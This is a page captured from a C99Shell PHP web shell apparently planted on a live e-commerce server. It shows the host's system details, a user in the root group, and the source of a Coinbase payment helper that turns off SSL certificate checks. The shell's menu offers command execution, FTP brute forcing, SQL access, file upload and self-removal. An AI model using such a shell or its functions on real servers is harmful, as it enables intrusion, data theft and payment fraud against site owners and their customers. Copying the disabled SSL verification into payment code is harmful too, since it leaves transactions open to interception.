!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Coinbase/Processor/   drwxr-xr-x
Free 25.41 GB of 117.98 GB (21.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CoinbaseHelper.php (1.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Coinbase\Processor;


class 
CoinbaseHelper
{
    private 
$apiKey;

    private 
$chargeUrl 'https://api.commerce.coinbase.com/charges';

    public function 
__construct($key)
    {
        
$this->apiKey $key;
    }

    public function 
charge()
    {
        return 
$this->curl($this->chargeUrl'POST');
    }


    public function 
curl($url$method null)
    {
        
$curl curl_init();

        
curl_setopt_array($curl, [
            
CURLOPT_URL => $url,
            
CURLOPT_RETURNTRANSFER => true,
            
CURLOPT_ENCODING => "",
            
CURLOPT_MAXREDIRS => 10,
            
CURLOPT_TIMEOUT => 30,
            
CURLOPT_SSL_VERIFYHOST => 0,
            
CURLOPT_SSL_VERIFYPEER => 0,
            
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            
CURLOPT_CUSTOMREQUEST => $method,
            
CURLOPT_POSTFIELDS => $this->data,
            
CURLOPT_HTTPHEADER => $this->getCurlHeader(),
        ]);

        
$response curl_exec($curl);
        
$err curl_error($curl);

        if (
$err) {
            throw new 
\Exception($err);
        }

        return 
json_decode($response)->data;
    }


    public function 
getCurlHeader()
    {
        return [
            
"Accept: application/json",
            
"Content-Type: application/json",
            
"X-CC-Version: 2018-03-22",
            
'X-CC-Api-Key: ' $this->apiKey,
        ];
    }


    public function 
setRequestData($data)
    {
        
$this->data json_encode($data);
        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--